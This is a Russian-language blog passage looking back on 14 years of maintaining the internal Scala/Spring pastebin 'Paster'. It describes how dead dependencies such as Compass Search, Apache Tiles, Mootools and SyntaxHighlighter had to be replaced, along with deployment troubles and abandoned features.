  <p id="k444">Даже <a href="https://github.com/alex0x08/paster/blob/uberPaste-1.0/uberPaste/pom.xml" target="_blank">в первой версии</a> Пастера, выложенной на Github можно можно увидеть интеграцию с системой контроля качества кода <a href="https://www.sonarsource.com/products/sonarqube/" target="_blank">SonarCube</a>, генерацию номера сборки, поддержки нескольких разных СУБД и двух сервлет-контейнеров.</p>
  <blockquote id="CzOY">Повторить все это на sbt было откровенно непростой задачей.</blockquote>
  <p id="Z0mI">Впрочем о выборе стандартного Maven в качестве средства сборки ни разу за 14 лет пожалеть не пришлось, благо этот проект удивительно стабилен и предсказуем.</p>
  <p id="MM3k">К сожалению система сборки в итоге оказалась <em>единственной</em> стабильной частью проекта, не требовавшей существенных усилий по сопровождению на длинной дистанции.</p>
  <p id="mjtk"></p>
  <figure id="dPeQ" class="m_original">
    <img src="https://img4.teletype.in/files/34/75/3475b1eb-6a5f-48fb-9d5f-c5c14a5ac65f.jpeg" width="683" />
  </figure>
  <h2 id="TTrT">Падение Compass Search</h2>
  <p id="aWHA">Проект «Compass Search» был далеким предком современного и известного <a href="https://en.wikipedia.org/wiki/Elasticsearch" target="_blank">ElasticSearch</a> от того же автора:</p>
  <blockquote id="gFZs">The Compass Framework enables the power of Search Engine semantics to your application stack declaratively. Built on top of the amazing Lucene Search Engine, Compass integrates seamlessly to popular development frameworks like Hibernate and Spring.</blockquote>
  <p id="uNgJ">На данный момент проект полностью заброшен и даже сайт уже не существует.</p>
  <p id="5Bk2"><a href="https://docs.huihoo.com/compass/2.2.0/" target="_blank">Тут</a> можно посмотреть сохраненную копию документации, <a href="https://github.com/guaxinim/compass" target="_blank">тут</a> находится неофициальный форк исходников Compass Search, судя по датам созданный еще при жизни проекта.</p>
  <p id="ljCc">Меньше, проще и с более интересным функционалом, чем у известного <a href="https://hibernate.org/search/" target="_blank">Hibernate Search</a>, Compass казался отличным вариантом в качестве встраиваемого поискового движка для нашего Пастера. </p>
  <p id="REOi">Только мы не подозревали, что автор этого замечательного фреймворка <a href="https://web.archive.org/web/20130116045454/http://www.elasticsearch.org/blog/2010/02/08/youknowforsearch.html" target="_blank">давно все решил</a>:</p>
  <blockquote id="ot79">Developing a third version of Compass, he concluded that a full rewrite was necessary to build a scalable, distributed search solution using <a href="https://en.wikipedia.org/wiki/JSON" target="_blank">JSON</a> over <a href="https://en.wikipedia.org/wiki/HTTP" target="_blank">HTTP</a> as a common interface.<a href="https://en.wikipedia.org/wiki/Elasticsearch#cite_note-compass-3" target="_blank">[3]</a></blockquote>
  <p id="TJRc">Несмотря на дату сохраненного поста (2010 год), проект Elasticsearch еще довольно долго не был известен широкой публике, а сам автор не отказывался от поддержки «Compass Search».</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="KswB">Но уже к 2014му году проект «Compass Search» оказался полностью заморожен.</p>
  </section>
  <p id="Mer6">Вот так просто и на ровном месте мы оказались с мертвым фреймворком внутри нашего проекта, от которого зависел ключевой функционал поиска. </p>
  <blockquote id="eAN2">С большой (по меркам прикладного проекта) и теперь уже мертвой кодовой базой, которая начинала быстро портиться.</blockquote>
  <p id="vzXl">Compass Search зависел от множества внешних библиотек: Hibernate, Spring, генераторы байткода, обработчики аннотаций — все это быстро ехало вперед, постоянно выходили новые релизы, ломающие обратную совместимость. </p>
  <p id="3FWb">Поддерживать самостоятельно кодовую базу умершего Compass Search становилось все труднее.</p>
  <p id="Jt2k">Полностью избавиться от трупа Compass и переехать на Hibernate Search нам удалось лишь через <strong>пять лет</strong> и далеко не с первой попытки, убив перед этим несколько лет на поддержку умершего фреймворка.</p>
  <p id="iU4x">Но это был далеко не конец.</p>
  <figure id="shYE" class="m_column">
    <img src="https://img2.teletype.in/files/9a/f9/9af94a61-4a72-49e5-b827-ac24787a0289.jpeg" width="815" />
  </figure>
  <h2 id="FgKj">Падение Apache Tiles</h2>
  <p id="sskp">К сожалению описанные выше проблемы и беды с Compass Search были далеко не единственными. В Пастере использовался <a href="https://tiles.apache.org/" target="_blank">еще один интересный фреймворк</a>, также успевший помереть за время жизни проекта:</p>
  <blockquote id="QXkk">A free open-sourced templating framework for modern Java applications.<br />Based upon the Composite pattern it is built to simplify the development of user interfaces. For complex web sites it remains the easiest and most elegant way to work alongside any MVC technology.</blockquote>
  <p id="h9aV">Тут стоит пояснить подрастающему поколению, видевшему серверный шаблонизатор страниц только в виде <a href="https://developer.mozilla.org/en-US/docs/Glossary/SSR" target="_blank">SSR</a>, что Apache Tiles добавлял один ключевой функционал, которого по какой-то причине не было в технологии <a href="https://en.wikipedia.org/wiki/Jakarta_Server_Pages" target="_blank">Java Server Pages</a> (JSP) — <strong>вложенность</strong>.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="yOqK">Нормальные веб-разработчики всегда отделяли шаблон страницы от ее содержимого и одно вставлялось в другое на этапе рендеринга.</p>
  </section>
  <p id="REzm">Так это работало и работает во всех популярных фреймворках, включая ваши любимые Angular, Vue и React. И только в JSP решили, что будет достаточно лишь явно включать отдельные части. </p>
  <p id="dXGN">Поэтому любая страница на чистом JSP выглядит примерно так:</p>
  <pre id="n6DF" data-lang="html">&lt;%@ page language=&quot;java&quot; contentType=&quot;text/html; charset=ISO-8859-1&quot;
    pageEncoding=&quot;ISO-8859-1&quot;%&gt;
&lt;%@ taglib prefix=&quot;c&quot; uri=&quot;http://java.sun.com/jsp/jstl/core&quot; %&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
   &lt;!-- кусок HTML с заголовком --&gt;
   &lt;c:import url=&quot;header.jsp&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;!-- содержимое страницы --&gt;
   &lt;%@include file=&quot;body.jsp&quot;%&gt;
&lt;/body&gt;
&lt;footer&gt;
   &lt;!-- кусок HTML с футером --&gt;
   &lt;jsp:include page=&quot;footer.jsp&quot; /&gt;
&lt;/footer&gt;
&lt;/html&gt;</pre>
  <p id="fXTm">Повторюсь, что такая дичь с указанием <strong>всех</strong> включаемых частей должна быть <strong>на каждой</strong> странице JSP, если только не использовать внешний фреймворк, реализующий композицию.</p>
  <blockquote id="0dCz">Нетрудно догадаться, что сопровождение проекта и рефакторинг при таких вводных быстро превращается в кромешный ад. </blockquote>
  <p id="XT0m">Поскольку ада и так хватало в коммерческой разработке, добавлять его еще и в домашний проект было излишим. Поэтому был подключен Apache Tiles, решающий эту проблему с композицией.</p>
  <p id="dQh0">Композиции указывались в <a href="https://github.com/alex0x08/paster/blob/uberPaste-1.0/uberPaste/src/main/webapp/WEB-INF/tiles-defs/tilesConfig.xml" target="_blank">специальном конфигурационном файле</a>, где сначала описывался шаблон страницы:</p>
  <pre id="sGHb" data-lang="xml">&lt;definition name=&quot;.mainTemplate&quot; 
      template=&quot;/WEB-INF/pages/template/main.jsp&quot; 
      preparer=&quot;uber.paste.tiles2.ELViewPreparer&quot;&gt;
    &lt;put-attribute name=&quot;pageTitle&quot;  expression=&quot;${requestScope.title}&quot; /&gt;
    &lt;put-attribute name=&quot;menu&quot; value=&quot;/WEB-INF/pages/template/menu.jsp&quot; /&gt;
    &lt;put-attribute name=&quot;content&quot; value=&quot;&quot; /&gt;                
&lt;/definition&gt;</pre>
  <p id="miGf">А затем сами страницы, использующие этот шаблон:</p>
  <pre id="nIip" data-lang="xml">&lt;definition name=&quot;/paste/list&quot; extends=&quot;.mainTemplate&quot;&gt;
      &lt;put-attribute name=&quot;content&quot; value=&quot;/WEB-INF/pages/paste/list.jsp&quot; /&gt;
&lt;/definition&gt;</pre>
  <p id="iLc9">На выходе рендера получалась готовая страница, на уровне кода — разделение на общий шаблон и шаблон отдельной страницы.</p>
  <p id="b1nG">С учетом поддержки прекомпиляции JSP-страниц, решение было еще и весьма производительным — фактически самые быстрые страницы <s>на Диком Западе</s>.</p>
  <blockquote id="V6SX">Точно быстрее любой реализации JSF и тем более чистых парсеров вроде Velocity или Freemarker.</blockquote>
  <p id="QJOb">И все были счастливы и довольны, пока не закачался трон под самим JSP — случилась «утрата интереса к технологии» (отчасти искусственная, организованная ради перехода на JSF), с чего будущее проекта Apache Tiles внезапно стало туманным.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="1r1a">К 2017 году проект «Apache Tiles» оказался полностью заморожен.</p>
  </section>
  <p id="PlEL">Что характерно, обе технологии нижнего уровня — JSP и JSF продолжают развиваться и все также остаются частью стандарта JakartaEE, но зависимый от них «Apache Tiles» зиму не пережил.</p>
  <p id="jtzW">С «Apache Tiles» случилась еще одна беда, предсказуемо последовавшая за заморозкой проекта — из Spring <a href="https://github.com/spring-projects/spring-framework/wiki/Spring-Framework-6.0-Release-Notes" target="_blank">выкинули его интеграцию</a>. </p>
  <p id="mhL5">Причем случилось это на весьма небольшом временном отрезке — всего за пару лет жизни Пастера.</p>
  <p id="HmqE">Удаление интеграции означало невозможность дальнейшего использования Apache Tiles в проекте, начиная с определенной версии Spring.</p>
  <p id="xZix">А дыры в безопасности при всем этом никто не отменял — оставлять устаревшие версии Spring ныне не дает даже Github, задалбывая уведомлениями о «страшных ошибках в безопасности».</p>
  <p id="MSjS">На этот раз, ввиду небольшого объема «Apache Tiles» было принято решение его форкнуть и <a href="https://github.com/alex0x08/paster/tree/master/libs/tiles-jakarta-stripped" target="_blank">поддерживать</a> своими силами:</p>
  <blockquote id="ovN0">благодаря мощному движку для рефакторинга в Intellij Idea удалось выкинуть из Apache Tiles все лишнее, заодно портировав на современную Jakarta.</blockquote>
  <p id="ccQl"><a href="https://github.com/alex0x08/paster/tree/master/libs/spring-tiles3" target="_blank">Слой интеграции</a> со Spring MVC был переписан целиком на Scala.</p>
  <p id="SACa">Разумеется это отняло много времени и сил, но других разумных вариантов попросту не нашлось.</p>
  <p id="bnau">Например переезд на стандартный для современного Spring Boot фреймворк <a href="https://www.thymeleaf.org/" target="_blank">Thymeleaf</a> означал бы полное переписывание всех JSP-страниц с нуля. Плюс падение производительности, поскольку Thymeleaf заметно медленнее JSP. </p>
  <p id="ByzZ">Но это еще не все несчастья, собранные Пастером за годы жизни.</p>
  <p id="eQMy"></p>
  <figure id="rd8B" class="m_original">
    <img src="https://img4.teletype.in/files/f9/35/f935020f-1223-460e-a945-f75e62299688.jpeg" width="675" />
  </figure>
  <h2 id="ocFo">Падение Mootools</h2>
  <p id="fK1c"><a href="https://mootools.net" target="_blank">Mootools</a> когда-то был <em>вторым по популярности</em> веб-фреймворком после jQuery в мире веб-разработки:</p>
  <blockquote id="JDF4">MooTools is a compact, modular, Object-Oriented JavaScript framework designed for the intermediate to advanced JavaScript developer.<br />It allows you to write powerful, flexible, and cross-browser code with its elegant, well documented, and coherent API.</blockquote>
  <p id="S9Ap">Он был заметно легче jQuery, поэтому был популярен среди продвинутых веб-разработчиков, особенно отечественных. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qx9e">Поэтому именно Mootools был взят за основу для создания JavaScript-логики в Пастере, которой с самого начала было очень много.</p>
  </section>
  <p id="K2tt">Вообще с JavaScript-частью случился однажды неприятный конфуз, приведший к срыву переговоров и потере потенциального клиента.</p>
  <p id="sURK">По какой-то причине GitHub не смог адекватно распознать используемые технологии, поэтому в плашке проекта до сих пор висит только JavaScript:</p>
  <p id="gfbE"></p>
  <figure id="LAQE" class="m_original">
    <img src="https://img1.teletype.in/files/45/b8/45b8f9ca-132c-4e83-bc4a-26089ae46577.png" width="332" />
  </figure>
  <p id="Kwp7">Когда мы показывали Пастер потенциальному заказчику в качестве примера проекта на Scala — тот подумал, что мы его обманываем, пытаясь подсунуть какую-то хрень на Node.js.</p>
  <p id="CyRJ">Но вернемся к истории с Mootools.</p>
  <p id="iL8K">Хотя к тому времени появилась первая версия знаменитого Angular (тогда еще <a href="https://en.wikipedia.org/wiki/AngularJS" target="_blank">AngularJS</a>), вызвавшая немалый интерес у веб-разработчиков, столь резкого падения проекта Mootools не ожидал никто.  </p>
  <blockquote id="FrvH">Тем более что его аналог — jQuery жив и развивается до сих пор.</blockquote>
  <p id="k0zt">Mootools активно использовался в популярных движках CMS, CRM, блогов, в открытых и коммерческих проектах.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="svjE">В 2013 году Mootools встречался повсеместно, но уже к 2015 — полностью пропал.</p>
  </section>
  <p id="7R9z">Можно разумеется пытаться искать причины и подбирать тайные смыслы, но повторюсь:</p>
  <blockquote id="Tohe">с точки зрения обычного разработчика <strong>не было</strong> никаких видимых признаков столь стремительной смерти большого и известного проекта, с кучей ментейнеров и активным сообществом.</blockquote>
  <p id="8nI2">В итоге получилось, что примерно 40% кодовой базы проекта (практически весь фронтэнд) напрямую зависела от ключевого JavaScript-фреймворка, который приказал долго жить.</p>
  <p id="J9KX">Попробовав разные варианты, вдоволь наигравшись с разными версиями Angular и их замечательной совместимостью, к 2020му году пришли к выводу, что <s>нах#й их всех</s> стоит полностью отвязаться от больших фреймворков и переделать фронтэнд на чистый ES6. </p>
  <p id="mGrS">Благо его поддержка (пусть и не полная) к тому времени появилась во всех основных браузерах и работала уже без транспилеров. </p>
  <blockquote id="6jlH">Часть библиотек, зависимых от Mootools, например <a href="https://github.com/alex0x08/paster/blob/master/paster-webapp/src/main/webapp/WEB-INF/resources/paster/js/all/LazyPagination.js" target="_blank">LazyPagination</a> была переписана на чистый ES6, часть заменена на аналоги, работающие на чистом JavaScript, часть просто выкинута.</blockquote>
  <p id="JI5p">Вот так постепенно, маленькими шажками удалось избавиться от Mootools, хотя на весь процесс ушел год.</p>
  <p id="f1rg">Спросите, почему не взяли Angular/React/Vue ? </p>
  <p id="5acl">Потому что без последовательных плановых миграций каждые полгода-год вслед за мейнстримом, проект на этих фреймворках превращается в тыкву, требуя фактически переписывания с нуля.</p>
  <p id="sVXc">Только вам об этом конечно никто не расскажет.</p>
  <p id="QTdh"></p>
  <figure id="ibWw" class="m_column">
    <img src="https://img2.teletype.in/files/df/e6/dfe68c8b-d1e3-45e6-bc1c-7e7939ac4c1a.jpeg" width="1280" />
    <figcaption>Как-то так эта библиотека выглядела в оригинале. </figcaption>
  </figure>
  <h2 id="b5VN">Падение SyntaxHighlighter</h2>
  <p id="LZNb">Жил-был на свете (в солнечной Калифорнии) отличный разработчик <a href="https://github.com/alexgorbatchev" target="_blank">Alex Gorbatchev</a>, создавший в 2004м году уникальную и очень популярную библиотеку для подсветки синтаксиса, которая так и называлась «Syntax Highlighter».</p>
  <p id="U9SQ">Написано все было на чистом JavaScript и без внешних зависимостей а уникальна библиотека в первую очередь своей производительностью:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4u2L">это фактически единственная библиотека, осиливающая подсветку синтаксиса для <strong>мегабайта</strong> кода без подвисания браузера.</p>
  </section>
  <p id="oUwv">Не каждый нативный редактор с таким справляется в 2026м году, а тут какая-то библиотека на JavaScript.</p>
  <blockquote id="PEss">К сожалению со временем автор потерял интерес к собственному детищу и к 2016 году разработка проекта «Syntax Highlighter» была прекращена.</blockquote>
  <p id="0L3I">Вот <a href="https://github.com/syntaxhighlighter/syntaxhighlighter" target="_blank">тут</a> находятся исходники последней релизной 3.х версии. Четвертую, которая находится в том же репозитории автор так и не выпустил. </p>
  <p id="Y66N">Что характерно, история «Syntax Highlighter» закончилась на попытке переписать на Typescript. Совпадение?</p>
  <p id="btuf">Да, мы тоже использовали эту замечательную библиотеку в Пастере.</p>
  <p id="9kJs">Однако практически сразу нам пришлось добавлять в «Syntax Highligher» дополнительную логику для поддержки построчных комментариев, так что факт смерти родительского проекта нас не особо затронул — в проекте давно использовался собственный форк.</p>
  <p id="yol4">Со временем форкнутый исходный код подвергся изменениям:</p>
  <blockquote id="sCo9">ненужный для Пастера функционал был удален, код почищен, добавлена специфичная логика и <a href="https://github.com/alex0x08/paster/tree/master/paster-webapp/src/main/webapp/WEB-INF/resources/local_components/syntax_highlighter" target="_blank">нынешняя</a> версия уже сильно отличается от оригинала. </blockquote>
  <p id="mZqJ">Хотя конечно с точки зрения проектного управления и ресурсных трат это был полный провал:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="I0lY">Syntax Highlighter — сложная библиотека, написанная профессионалом, разобраться в ее внутреннем устройстве удалось далеко не сразу.</p>
  </section>
  <p id="UHkl">В коммерческом проекте я бы такое делать не стал.</p>
  <figure id="w5zb" class="m_column">
    <img src="https://img2.teletype.in/files/db/57/db57aae3-39c4-45ec-a269-44aac73abf55.png" width="1217" />
    <figcaption>Так выглядит запуск последней версии Пастера с помощью встроенного Jetty 12</figcaption>
  </figure>
  <h2 id="D6BD">Ужасы Jetty и Spring Boot</h2>
  <p id="mbmb">На момент начала работы над Пастером, концепция «пихаем все в один большой запускаемый JAR» еще не была массовой.</p>
  <p id="o13j">Конечно с таким подходом активно экспериментировали, например в знаменитом <a href="https://www.jenkins.io/" target="_blank">Jenkins CI</a>, но стандартом пока еще оставалось развертывание в сервлет-контейнере или на сервере приложений, задача настройки которых была на совести сисадмина, но не разработчика.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="x6u1">Из-за постоянно растущей сложности такой настройки, в итоге появилась отдельная профессия — <a href="https://en.wikipedia.org/wiki/DevOps" target="_blank">DevOps</a>, вытеснившая на 2026й год обычных сисадминов.</p>
  </section>
  <p id="8SLg">Spring Boot появится только в 2014м и на фоне возрастающего интереса к микросервисам, быстро приучит Java-разработчиков к тому, что пихать целиком сервлет-контейнер в каждое отдельное приложение это нормально.</p>
  <blockquote id="5bif">Даже если таких приложений больше сотни, а отличаются они лишь набором методов выдаваемого API.</blockquote>
  <p id="qxij">Первые установки Пастера были в обычном <a href="https://tomcat.apache.org/" target="_blank">Apache Tomcat</a> или <a href="https://jetty.org/" target="_blank">Eclipse Jetty</a>, а само приложение поставлялось в виде WAR-файла, который надо было закидывать в специальный каталог.</p>
  <p id="SMIS">Так что вся цепочка была слишком сложной для столь простого проекта:</p>
  <ul id="4bJT">
    <li id="9XtE">Установка JDK (обычные JSP-страницы на JRE не работали);</li>
    <li id="f9OQ">Установка сервлет-контейнера Tomcat или Jetty;</li>
    <li id="ZLmY">Копирование приложения Пастера в специальный каталог <code>webapps</code>;</li>
    <li id="cdsq">Запуск сервлет-контейнера.</li>
  </ul>
  <p id="MakF">Добавьте сюда особенности настройки сервлет-контейнеров и проблемы совместимости между Tomcat/Jetty разных версий — поймете, что сил на такую поддержку уходило просто немеряно.</p>
  <p id="2jqL">Со временем изменилось и внешнее окружение: </p>
  <blockquote id="xDhF">все чаще приходилось запускать Пастер в каком-нибудь контейнере Docker и дополнительный слой в виде сервлет-контейнера, требующего отдельной настройки стал откровенно раздражать.</blockquote>
  <p id="2FDP">Требовалось серьезное упрощение.</p>
  <p id="BDvw">Конечно мы экспериментировали и со Spring Boot, тем более что параллельно шли коммерческие проекты с его использованием.</p>
  <p id="a0yy">Но оказалось, что поддержка JSP в случае приложения на Spring Boot <a href="https://stackoverflow.com/questions/45667582/jstl-support-in-spring-boot" target="_blank">откровенно хромает</a> и чинить ее никто особо не собирается:</p>
  <blockquote id="VEty">команда Spring активно продвигала <a href="https://www.thymeleaf.org/" target="_blank">Thymeleaf</a> как полную замену «устаревшему» JSP, хотя тот был и остается частью спецификации JEE/JakartaEE, а Thymeleaf — непонятная приблуда, ни с чем не совместимая.</blockquote>
  <p id="BCQq">С точки зрения Spring все было разумеется прекрасно, поскольку Thymeleaf идеально вписывался в экосистему фреймворка и был полностью подконтролен.</p>
  <p id="JY8E">Собственно развитие Thymeleaf до сих пор происходит под чутким руководством ребят из Spring и каким-то удивительным образом используется Thymeleaf по большей части только в составе Spring.</p>
  <p id="vyuK">Ну а мы получили очередную нерешаемую проблему, хотя и не эксклюзивную:</p>
  <blockquote id="kLgf">отголоски всех этих разборок с упаковкой приложения можно обнаружить например в знаменитой Atlassian Jira, в ее self-hosted версии. </blockquote>
  <p id="btnw">Вообще на свете до сих пор существует довольно много разных CMS/CRM/ERP систем и <a href="https://www.liferay.com/" target="_blank">портальных движков</a>, чья разработка началась еще в начале 2000х и где присутствует эта проблема с развертыванием. </p>
  <p id="kuGd">Мы же <s>дети советских инженеров</s> решили пойти особым путем — попытаться забороть проблему загрузки JSP и сканирования TLD-файлов без распаковки WAR.</p>
  <p id="pHly">Долго и внимательно изучая механизм загрузки классов в Jetty и «черную магию» Spring Boot с многоступенчатой загрузкой классов, удалось-таки создать работающее <a href="https://github.com/alex0x08/paster/blob/master/paster-run/src/main/scala/com/Ox08/paster/run/LiveWarClassLoader.scala" target="_blank">решение</a>. </p>
  <blockquote id="nm38">Ушло всего-то пару лет.</blockquote>
  <p id="5efc">Зато теперь мы полностью контролируем весь процесс запуска, при этом сам Пастер все также остается стандартным сервлет-приложением и легко может быть развернут в обычном Apache Tomcat.</p>
  <p id="C4JR"></p>
  <figure id="1mrj" class="m_column">
    <img src="https://img4.teletype.in/files/f9/71/f97123b3-232a-4196-8e98-f0adf8601056.png" width="1048" />
    <figcaption>Так выглядел Пастер в 2014м году, кастомизацию фона с тех пор решили убрать.</figcaption>
  </figure>
  <h2 id="zktS">Мертвые фичи</h2>
  <p id="WgSj">За годы работы Пастера, добавлялись и удалялись самые разные фичи, часто уводившие проект сильно далеко от основной задачи.</p>
  <p id="pbc3">Думаю рассказ о том, какой функционал «не пережил зиму», оказавшись неактуальным на длинной дистанции будет весьма показателен — уверяю в вашем проекте причины удаления той или иной фичи будут похожими. </p>
  <h3 id="U3Q8">Отображение в офисные форматы</h3>
  <p id="421k">В Spring MVC еще с тех лет, когда разработка Пастера только начиналась существует интересный <a href="https://docs.spring.io/spring-framework/reference/web/webmvc-view/mvc-document.html" target="_blank">функционал</a>, позволяющий выдавать из слоя View (V — в аббревиатуре MVC) не только стандартные HTML, XML или JSON, но и другие форматы данных: PDF, DOCX, XLS и так далее. </p>
  <p id="Qzbz">С его помощью были реализованы <a href="https://github.com/alex0x08/paster/blob/uberPaste-1.1/uberPaste/src/main/scala/uber/paste/controller/PasteDocxView.scala" target="_blank">генераторы в docx</a> для записей и в <a href="https://github.com/alex0x08/paster/blob/uberPaste-1.1/uberPaste/src/main/scala/uber/paste/controller/PasteExcelView.scala" target="_blank">xlsx</a> для списков и поиска — да, можно было получить результат поиска и фильтрации сразу в виде документа Microsoft Excel.</p>
  <p id="sS0D">Почему не взлетело:</p>
  <blockquote id="Oe8Z">простой текст, вставленный в подготовленный шаблон документа Microsoft Word оказался мало актуальным а полноценное превращение текста в документ — с абзацами и форматированием требовало слишком больших ресурсов.</blockquote>
  <p id="yU1s">Та же самая история повторилась и с форматом Excel — без существенных затрат на разработку сложного шаблона с типами данных, статистикой и аггрегацией полей все это не имело практического смысла.</p>
  <p id="46q2">Но фича красивая да.</p>
  <h3 id="j7W4">Интеграция с почтой</h3>
  <p id="M53G">Пользователи присылают вопросы, жалобы и предложения на почту, специальный адаптер их выгребает и загружает в Пастер.</p>
  <p id="TVIV">Получается альтернативный сценарий использования.</p>
  <p id="zyjy">Почему не взлетело:</p>
  <blockquote id="oG5e">Внезапно оказалось, что на некоторые письма надо отвечать, для чего пришлось бы городить отдельную интеграцию с SMTP и логику хранения ответов.</blockquote>
  <p id="XQN1">Про ответы часто забывают когда дело доходит до почты, слишком многие разработчики привыкли использовать ее только в одну сторону — для отправки оповещений. </p>
  <h3 id="n7la">Итеграция со Skype</h3>
  <p id="isCV">С помощью неофициального API, имитирующего веб-клиент, были реализованы оповещения о новых записях Пастера в Skype — некий аналог современного Телеграм-бота.</p>
  <p id="wAUy">Почему не взлетело:</p>
  <blockquote id="Fsy4">Если получатель не сидел в скайпе постоянно, при входе его засыпало недоставленными однотипными уведомлениями, что быстро надоело. </blockquote>
  <p id="6T1k">К тому же к 2018 году пришел Телеграм, в который очень бысто перетекла вся переписка, а сам скайп стал постепенно умирать.</p>
  <p id="dVxF">Телеграм принес с собой новую культуру отказа от раздражителей и теперь любые оповещения стали восприниматься как отвлекающий фактор.</p>
  <p id="d2WB">Поэтому на сегодня мы от них полностью отказались. </p>
  <h3 id="LtCn">Авторизация через социальные сети</h3>
  <p id="GleS">Когда-то в Spring был <a href="https://docs.spring.io/spring-social/docs/current/reference/htmlsingle/index.html" target="_blank">дочерний проект</a>, посвященный авторизации через социальные сети:</p>
  <blockquote id="Zqq4">The Spring Social project enables your applications to establish Connections with Software-as-a-Service (SaaS) Providers such as Facebook and Twitter to invoke APIs on behalf of Users.</blockquote>
  <p id="3J84">Даже по описанию, в котором фигурируют устаревшие названия социальных сетей думаю понятно, что дело было давно. Ныне проект заморожен и использовать его с современным Spring уже не получится.</p>
  <p id="apz9">Мы использовали Spring Social в Пастере для авторизации через социальные сети: Google, VK, LinkedIn и это даже работало, включая связывание разных профилей.</p>
  <p id="YuwL">Почему не взлетело:</p>
  <blockquote id="zBTS">Использование Spring Social было частью концепции облачного использования Пастера для публичных проектов — хотели сделать что-то типа Github в плане коллаборации. </blockquote>
  <p id="2gvY">Но логика облачной авторизации с годами только усложнялась, появлялись обязательные MFA и дополнительные проверки безопасности, при этом установки Пастера оставались локальными — в облако никто особо не хотел.</p>
  <p id="t0XG">Смерть проекта Spring Social окончательно похоронила эту идею и возвращаться к ней в современных реалиях откровенно бессмысленно.</p>
  <p id="SET1"></p>
  <h3 id="0Iy0">Интеграция с Jira</h3>
  <p id="kOGn">Одна из самых долгоживущих интеграций была с знаменитым багтрекером Atlassian Jira.</p>
  <p id="bybW">Специальный плагин, устанавливаемый в Jira подтягивал на странице детализации записи из Пастера, связанные с просматриваемой задачей.</p>
  <p id="Gcnw">Таким образом сам трекер не захламлялся кусками логов и трассировками ошибок.</p>
  <p id="dFyb">Почему не взлетело:</p>
  <blockquote id="RGDW">Проектов, использующих Jira становилось все меньше, а там где она еще использовалась — нам не давали доступ для установки плагина.</blockquote>
  <p id="AKEJ">Нашим внутренним трекером постепенно стал Redmine, так что интеграция потеряла всякую актуальность.</p>
  <p id="ED82"></p>
  <figure id="BWCm" class="m_column">
    <img src="https://img3.teletype.in/files/a9/09/a9091738-9775-4a8d-a8ee-448138ad13f6.png" width="777" />
  </figure>
  <h3 id="UdmG">Интеграция с файловым хранилищем</h3>
  <p id="6qRF">Помимо обмена кусками кода через публичные сервисы, с разработчиками была еще одна проблема — постоянное перекидывание файлов через публичные сервисы.</p>
  <p id="EFj8">Народ запросто выкладывал фактически в публичный доступ бинарные сборки, скрипты, библиотеки, логи и конфиги.</p>
  <p id="piUU">По аналогии с Пастером и примерно в то же время был запущен проект внутреннего хранилища файлов, с аналогичной целью — сделать устанавливаемую локально замену публичным сервисам.</p>
  <p id="Wkk9">Поскольку оба проекта работали одновременно, логично было их интегрировать. Что в итоге и произошло: </p>
  <blockquote id="dnUG">со стороны Пастера появился специальный виджет, позволяющий цеплять файлы к записи, либо просматривать существующие.</blockquote>
  <p id="5rqM">Со стороны хранилища работала версионность, поэтому можно было легко отслеживать изменения.</p>
  <p id="VUDz">Почему не взлетело:</p>
  <blockquote id="Tq0R">со временем концепция обмена файлами при командной разработке поменялась и мы в итоге пришли к <a href="https://blog.0x08.ru/teleporta" target="_blank">Телепорте</a></blockquote>
  <p id="7qE0">Проект файлового хранилища в виде приложения с веб-интерфейсом был признан устаревшим и похоронен, интеграцию с ним соответственно из Пастера удалили.</p>
  <p id="oyWi">Исходники этого проекта <a href="https://github.com/alex0x08/paster/tree/uberShareApp-1.4/shareService/webapp" target="_blank">находятся</a> в одном репозитории с Пастером и все еще доступны в старых версиях.</p>
  <p id="4wii"></p>
  <h2 id="rbju">Туманное будущее</h2>
  <p id="wrrD">На момент написания этой статьи готовится новый релиз Пастера — с переездом на Jakarta 11, обновлением всех используемых библиотек и мелким рефакторингом.</p>
  <p id="syfR">Немедленно выяснилось, что в Spring 7 решили полностью отказаться от логики «Content Negotiation» — переключение типа выдаваемых данных в зависимости от расширения файла (одна из ключевых фишек Пастера) будет полностью похоронено.</p>
  <p id="BFWl">Никакаких альтернатив разработчиками Spring предложено не было и что теперь с этим делать не очень понятно.</p>
  <p id="7kek">Одновременно с этим разработчики Scala грозятся похоронить 2.х ветку и начать переводить всех в принудительном порядке на Scala3 — фактически другой язык.</p>
  <p id="AJsH">Конечно же без альтернативных вариантов.</p>
  <h2 id="YJ7w">Эпилог</h2>
  <p id="nRQi">Перед вами история небольшого внутреннего проекта, поддерживаемого пусть и по остаточному принципу, но на протяжении последних <strong>14</strong> лет. В его разработке никогда не участвовало больше трех человек одновременно, функционал весьма ограничен а решаемая задача проста и очевидна.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="erTc">Тем не менее, даже при таких вводных поддержка на длинной дистанции превратилась в остросюжетный боевик <s>про зомби и апокалипсис</s>.</p>
  </section>
  <p id="6PmA">Может показаться, что автор — какой-то неудачник и не умеет выбирать инструменты, коль столько раз подряд налетал на умирание ключевой технологии. Но только ровно такой же процесс быстрого и непредсказуемого умирания по любому поводу постоянно происходит во всей индустрии, в том числе на крупных и известных проектах.</p>
  <p id="aS2M">Ни предсказать ни как-то защититься от такого исхода без серьезных усилий не выйдет, поэтому при подобных проблемах «большие парни» просто закапывают весь проект целиком, воссоздавая его на более современных технологиях.</p>
